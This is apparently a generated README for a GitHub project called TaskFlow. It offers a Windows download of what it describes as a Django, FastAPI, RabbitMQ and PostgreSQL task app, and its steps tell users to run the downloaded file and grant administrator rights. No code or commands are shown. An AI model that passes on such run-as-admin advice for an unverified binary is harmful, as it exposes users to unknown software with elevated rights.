TaskFlow is a team task app that helps you manage work in one place. It supports shared tasks, live updates, login with tokens, and background notifications.
This page shows you how to get TaskFlow on Windows and start it with a few clicks.
- Open the TaskFlow page: https://github.com/MrRedstoneY/TaskFlow
- Look for the download area or release files on the page
- Download the Windows version if one is listed
- Save the file to your Desktop or Downloads folder
- If you get a ZIP file, extract it first
If the page shows a setup file, download and run that file.
Visit the TaskFlow download page
Before you start, make sure your PC meets these basic needs:
- Windows 10 or Windows 11
- At least 4 GB of RAM
- 500 MB of free disk space
- Internet access for login and sync
- A modern browser if the app opens in a web page
If TaskFlow comes as a folder with files, keep all files together in the same place.
- Download the TaskFlow file from the link above
- If the file is zipped, right-click it and choose Extract All
- Open the extracted folder
- Find the main app file or launcher
- Double-click it to start TaskFlow
- If Windows asks for permission, choose Yes
- Wait for the app to load in your browser or app window
If you see a local address such as http://localhost, copy it into your browser if needed.
TaskFlow uses secure sign-in with tokens.
- Open the app
- Enter your account details if asked
- Sign in with your user name and password
- Keep your session open while you work
- Sign out when you finish on a shared PC
- Create and track tasks
- Share tasks with other people
- See updates as they happen
- Get task events through live connections
- Receive notifications for changes
- Keep data in PostgreSQL
- Store fast cache data in Redis
- Handle background events with RabbitMQ
- Use a clean API for task data
- Work with real-time messages through WebSockets
TaskFlow uses a few parts behind the scenes:
- Django REST handles the main task API
- JWT keeps sign-in secure
- WebSockets help with live updates
- RabbitMQ moves events between services
- FastAPI sends notifications
- PostgreSQL stores task data
- Redis helps the app stay fast
- Nginx helps serve the app
You do not need to set these up by hand if you are only running the app from a ready-made download
Try these steps:
- Restart your PC
- Make sure the file finished downloading
- Extract the ZIP file again if needed
- Run the app as an administrator
- Check that your internet connection works
- Close other apps that use a lot of memory
- Try a different browser if the app opens in one
If the app still does not open, download the file again from the same page
- Open the app from the same file or shortcut
- Sign in with your account
- Add new tasks
- Assign work to teammates
- Watch task changes update live
- Check notifications for new activity
- Refresh the page if updates pause
No. The app is meant to be used by regular computer users
Yes. This guide is made for Windows users
No, not for normal use from a ready download
Each tool handles one job, such as login, live updates, storage, or messages
If you open the download, you may see files like:
- a launcher file
- a config file
- a folder for static files
- a data folder
- a README file
- a log file
Keep the folder structure unchanged unless the instructions on the download page say to move files
django, djangorestframework, docker-compose, fastapi, jwt, nginx, postgresql, python, rabbitmq, redis, websockets